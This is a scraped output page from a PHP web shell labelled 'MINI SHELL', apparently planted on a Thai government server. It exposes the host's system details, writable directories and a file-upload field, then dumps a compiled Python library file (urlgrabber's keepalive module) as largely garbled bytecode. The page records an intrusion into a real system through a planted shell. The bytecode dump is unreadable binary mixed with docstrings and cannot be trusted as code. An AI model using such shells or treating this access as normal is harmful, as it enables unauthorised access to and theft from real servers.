MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/usr/lib/python2.4/site-packages/urlgrabber/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/lib/python2.4/site-packages/urlgrabber/keepalive.pyo
mò
ȵZCc@sedZdkZdkZdkZdkZdadkZeidjo
da	nda	dfd„ƒYZ
deifd	„ƒYZd
eifd„ƒYZdei
fd
„ƒYZ
d„Zd„Zd„Zdd„Zd„Zdd„ZedjoadkZdkZy$eeidƒZeidZWndeidGHqaXeeeƒndS(s
An HTTP handler for urllib2 that supports HTTP 1.1 and keepalive.

>>> import urllib2
>>> from keepalive import HTTPHandler
>>> keepalive_handler = HTTPHandler()
>>> opener = urllib2.build_opener(keepalive_handler)
>>> urllib2.install_opener(opener)
>>> 
>>> fo = urllib2.urlopen('http://www.python.org')

If a connection to a given host is requested, and all of the existing
connections are still in use, another connection will be opened.  If
the handler tries to use an existing connection but it fails in some
way, it will be closed and removed from the pool.

To remove the handler, simply re-run build_opener with no arguments, and
install that opener.

You can explicitly close connections by using the close_connection()
method of the returned file-like object (described below) or you can
use the handler methods:

  close_connection(host)
  close_all()
  open_connections()

NOTE: using the close_connection and close_all methods of the handler
should be done with care when using multiple threads.
  * there is nothing that prevents another thread from creating new
    connections immediately after connections are closed
  * no checks are done to prevent in-use connections from being closed

>>> keepalive_handler.close_all()

EXTRA ATTRIBUTES AND METHODS

  Upon a status of 200, the object returned has a few additional
  attributes and methods, which should not be used if you want to
  remain consistent with the normal urllib2-returned objects:

    close_connection()  -  close the connection to the host
    readlines()         -  you know, readlines()
    status              -  the return status (ie 404)
    reason              -  english translation of status (ie 'File not found')

  If you want the best of both worlds, use this inside an
  AttributeError-catching try:

  >>> try: status = fo.status
  >>> except AttributeError: status = None

  Unfortunately, these are ONLY there if status == 200, so it's not
  easy to distinguish between non-200 responses.  The reason is that
  urllib2 tries to do clever things with error codes 301, 302, 401,
  and 407, and it wraps the object upon return.

  For python versions earlier than 2.4, you can avoid this fancy error
  handling by setting the module-level global HANDLE_ERRORS to zero.
  You see, prior to 2.4, it's the HTTP Handler's job to determine what
  to handle specially, and what to just pass up.  HANDLE_ERRORS == 0
  means "pass everything up".  In python 2.4, however, this job no
  longer belongs to the HTTP Handler and is now done by a NEW handler,
  HTTPErrorProcessor.  Here's the bottom line:

    python version < 2.4
        HANDLE_ERRORS == 1  (default) pass up 200, treat the rest as
                            errors
        HANDLE_ERRORS == 0  pass everything up, error processing is
                            left to the calling code
    python version >= 2.4
        HANDLE_ERRORS == 1  pass up 200, treat the rest as errors
        HANDLE_ERRORS == 0  (default) pass everything up, let the
                            other handlers (specifically,
                            HTTPErrorProcessor) decide what to do

  In practice, setting the variable either way makes little difference
  in python 2.4, so for the most consistent behavior across versions,
  you probably just want to use the defaults, which will give you
  exceptions on errors.

NiiiitConnectionManagercBsGtZdZd„Zd„Zd„Zd„Zd„Zed„Z	RS(sV
    The connection manager must be able to:
      * keep track of all existing
      cCs.tiƒ|_h|_h|_h|_dS(N(tthreadt
allocate_locktselft_lockt_hostmapt_connmapt	_readymap(R((t8/usr/lib/python2.4/site-packages/urlgrabber/keepalive.pyt__init__xs		cCsx|iiƒzV|ii|ƒpg|i|<n|i|i|ƒ||i|<||i
|<Wd|iiƒXdS(N(RRtacquireRthas_keythosttappendt
connectionRtreadyRtrelease(RRRR((Rtadd~s

cCs‘|iiƒzoy|i|}Wntj
onFX|i|=|i|=|i|i	|ƒ|i|p|i|=nWd|ii
ƒXdS(N(RRR
RRRtKeyErrorRRtremoveR(RRR((RRˆs


cCs+y||i|<Wntj
onXdS(N(RRRRR(RRR((Rt	set_ready—scCsd}|iiƒzY|ii|ƒoBx?|i|D],}|i	|od|i	|<|}Pq7q7WnWd|ii
ƒX|S(Ni(tNonetconnRRR
RRRtcRR(RRRR((Rtget_ready_conn›s

cCs5|ot|ii|gƒƒSnt|iƒSdS(N(RtlistRRtgettdict(RR((Rtget_all©s(
t__name__t
__module__t__doc__R	RRRRRR(((RRss		
			tHTTPHandlercBsetZd„Zd„Zd„Zd„Zd„Zdd„Zd„Zd	„Z	d
„Z
d„ZRS(NcCstƒ|_dS(N(RRt_cm(R((RR	°scCs@g}|iiƒiƒD]\}}||t|ƒfq~S(streturn a list of connected hosts and the number of connections
        to each.  [('foo.com:80', 2), ('bar.org', 1)]N(t_[1]RR!RtitemsRtlitlen(RR"RR$((Rtopen_connections´scCs;x4|ii|ƒD] }|ii|ƒ|iƒqWdS(s¨close connection(s) to <host>
        host is the host:port spec, as in 'www.cnn.com:8080' as passed in.
        no error occurs if there is no connection to that host.N(RR!RRthRtclose(RRR'((Rtclose_connection¹s
cCsUxN|iiƒiƒD]7\}}x(|D] }|ii|ƒ|iƒq)WqWdS(sclose all open connectionsN(	RR!RR#RtconnsR'RR((RR*R'R((Rt	close_allÁscCs|ii|dƒdS(sdtells us that this request is now closed and the the
        connection is ready for another requestiN(RR!RR(RtrequestRR((Rt_request_closedÈsicCs)|o|iƒn|ii|ƒdS(N(R(RRR!R(RRRR(((Rt_remove_connectionÍscCs|it|ƒS(N(Rtdo_opentHTTPConnectiontreq(RR1((Rt	http_openÒscCsñ|iƒ}|ptidƒ‚nyÔ|ii|ƒ}x»|oQ|i	|||ƒ}|oPn|iƒ|ii|ƒ|ii|ƒ}q>W||ƒ}totid|t|ƒƒn|ii||dƒ|i||ƒ|iƒ}Wn0titifj
o}ti|ƒ‚nX|io|ii|ƒntotid|i|iƒn||_||_|iƒ|_||_ |i|_!|idjpt"o|Sn)|i#id|||i|i|i$ƒSdS(Ns
no host givens"creating new connection to %s (%d)isSTATUS: %s, %siÈthttp(%R1tget_hostRturllib2tURLErrorRR!RR't_reuse_connectiontrR(Rt
http_classtDEBUGtinfotidRt_start_transactiontgetresponsetsocketterrorthttplibt
HTTPExceptionterrt
will_closetstatustreasont_handlert_hosttget_full_urlt_urlt_connectiontcodet
HANDLE_ERRORStparenttmsg(RR9R1RCR'RR8((RR/ÕsD
	
			cCsy |i||ƒ|iƒ}Wnptiti	fj
o
d}nMto!tidd|t
|ƒƒn|ii|ƒ|iƒ‚nX|djp|idjo.totid|t
|ƒƒnd}n%totid|t
|ƒƒn|S(sGstart the transaction with a re-used connection
        return a response object (r) upon success or None on failure.
        This DOES not close or remove bad connections in cases where
        it returns.  However, if an unexpected exception occurs, it
        will close and remove the connection before re-raising.
        sunexpected exception - closing sconnection to %s (%d)i	s&failed to re-use connection to %s (%d)sre-using connection to %s (%d)N(RR=R'R1R>R8R?R@RARBRR:RR<R!RR(tversionR;(RR'R1RR8((RR7s*



	
cCsXy¥|iƒo~|iƒ}|id|iƒƒ|iidƒp|i	ddƒn|iidƒp|i	ddt
|ƒƒq¤n|id|iƒƒWn0tit
ifj
o}ti|ƒ‚nXx!|iiD]}|i	|ŒqåWx-|iiƒD]\}}|i	||ƒqW|iƒ|iƒo|i|ƒndS(NtPOSTsContent-types!application/x-www-form-urlencodedsContent-lengths%dtGET(R1thas_datatget_datatdataR't
putrequesttget_selectortheadersRt	putheaderR%R?R@RARBRCR5R6RRNt
addheaderstargsR#tktvt
endheaderstsend(RR'R1R[RCR]RUR\((RR=.s*
	"


(RRR	R&R)R+R-R.R2R/R7R=(((RR ¯s							.	+tHTTPResponsecBsntZdddd„ZeiiZd„Zd„Z	d„Z
d„Zdd„Zdd	„Zdd
„Z
RS(NicCs‰|otii||||ƒntii|||ƒ|i|_d|_	d|_
d|_d|_d|_
d|_d|_dS(Nti (tmethodRAR`R	Rtsockt
debugleveltfilenoRRLt_rbuft	_rbufsizeRGRHRJRK(RRcRdtstrictRb((RR	Ys						cCsR|ioD|iiƒd|_|io |ii||i|iƒqNndS(N(RtfpR(RRGR-RHRK(R((RR(is

	
cCs-|ii|i|iddƒ|iƒdS(NR(i(RRGR.RHRKR((R((RR)qscCs|iS(N(RRO(R((RR;uscCs|iS(N(RRJ(R((RtgeturlxscCs‰|io\|dj	oOt|iƒ}||jo||8}qf|i| }|i||_|Sn|i|i|ƒ}d|_|S(NRa(RRftamtRR%tLtst	_raw_read(RRkRlRm((Rtread{s

	iÿÿÿÿcCs3d}|iidƒ}x›|djod|jot|iƒjnoe|i|iƒ}|pPn|idƒ}|djo|t|iƒ}n|i||_qW|djot|iƒ}n|d}d|jot|iƒjno
|}n|i| |i|}|_|S(NRas
ii(
RURRftfindtitlimitR%RnRgtnew(RRrRqRsRU((Rtreadline‹s$5


'
cCsfd}g}xS|iƒ}|pPn|i|ƒ|t|ƒ7}|o||joPqqW|S(Nii(ttotalRRRttlineR
R%tsizehint(RRwRRvRu((Rt	readlinesšs

(RRRR	RAR`RoRnR(R)R;RjRtRx(((RR`Es				R0cBstZeZRS(N(RRR`tresponse_class(((RR0§scCs+t}tƒ}
ti|
ƒ}ti|ƒhdd<dd<}x¼d	D]´}d|||fGH|aybti
|ƒ}	|	i
ƒ}|	iƒy|	i|	i}}Wntj
od
\}}nXWn!tj
o}d|GH‚qJXd||fGHqJW|a|
iƒ}dG|GH|
iƒdS(Nitoffitons.  fancy error handling %s (HANDLE_ERRORS = %i)s  EXCEPTION: %ss  status = %s, reason = %ssopen connections:(ii(NN(RMtorigR tkeepalive_handlerR5tbuild_openertopenertinstall_openertposRqturlopenturltfoRotfooR(RERFtAttributeErrorRtIOErrorteR&thostsR+(RƒRER…RˆRqRFRRR‰R„R}R|((Rt
error_handler¯s4	

		cCsJdk}d}tiƒ}ti|ƒti|ƒ}|i	ƒ}|iƒ|i|ƒ}|d|iƒfGHtitƒƒ}ti|ƒti|ƒ}|i	ƒ}|iƒ|i|ƒ}|d|iƒfGHti|ƒ}d}x'|iƒ}|o||}qñPqñW|iƒ|i|ƒ}|d|iƒfGHdS(Ns%25s: %ss
normal urllibskeepalive readRaiskeepalive readline(tmd5tformatR5R~RR€R‚RƒR„RoR…R(Rstmt	hexdigestR Rttf(RƒR…RŒRRRR‹R„((Rt
continuityÉs6	




cCs«d||fGHtiidƒtiƒ}ti|ƒt	||ƒ}d|GHtiidƒtitƒƒ}ti|ƒt	||ƒ}d|GHd||fGHdS(Ns   making %i connections to:
  %ss(  first using the normal urllib handlerss  TIME: %.3f ss(  now using the keepalive handler       s  improvement factor: %.2f(
tNRƒtsyststdouttwriteR5R~RR€tfetchtt1R tt2(R‘RƒR—R–R((Rtcompês
	
	cCsìdk}g}|iƒ}xqt|ƒD]c}|o|djo|i|ƒnti	|ƒ}
|
iƒ}	|
iƒ|it|	ƒƒq(W|iƒ|}d}x@|dD]4}|d}||djpd||fGHq°q°W|S(Niis+WARNING: inconsistent length on read %i: %i(ttimetlenst	starttimetrangeR‘RqtdelaytsleepR5R‚RƒR„RoR…R(R
R%tdifftj(R‘RƒRRšR RqR›R™RŸR…R„((RR•üs&	


cCst}dfd„ƒY}|ƒadGHti|ƒ}|iƒ}|i	ƒd}d|GHxJ|djo<tii
d|ƒtiiƒtidƒ|d8}q^Wtii
d	ƒd
GHti|ƒ}|iƒ}|i	ƒ||jo	dGHndGH|adS(
Nt
FakeLoggercBstZd„ZeZZZRS(NcGs
||GHdS(N(ROR[(RROR[((Rtdebugs(RRR¢R;twarningR@(((RR¡s	s-  fetching the file to establish a connectionis;  waiting %i seconds for the server to close the connectionis
  %2iis
s!  fetching the file a second times  data are identicals  ERROR: DATA DIFFER(R:tdbbackupR¡R5R‚RƒR„Rotdata1R(RqR’R“R”tflushR™Ržtstderrtdata2(RƒRqR¥R¡R¨R¤R„((Rttest_timeouts2	
	




	i
cCsqdGHyt|ƒWn$tj
o}dGHtiƒnXHdGHt|ƒHdGHt||ƒHdGHt	|ƒdS(Ns,checking error hander (do this on a non-200)s.exiting - exception will prevent further testss>performing continuity test (making sure stuff isn't corrupted)sperforming speed comparisons#performing dropped-connection check(
RŠRƒR‡RˆR’texitRR˜R‘R©(RƒR‘Rˆ((Rttest2s

t__main__s%s <integer> <url>(ii(RR5RAR?RRR:R’tversion_infoRMRR R`R0RŠRR˜R•R©R«RR™tinttargvR‘Rƒ(R©RRŠR R«R`RR˜R5R’R0R‘RAR?RRƒR™R•((Rt?ds8					
<–b		!		"
		

Anon7 - 2021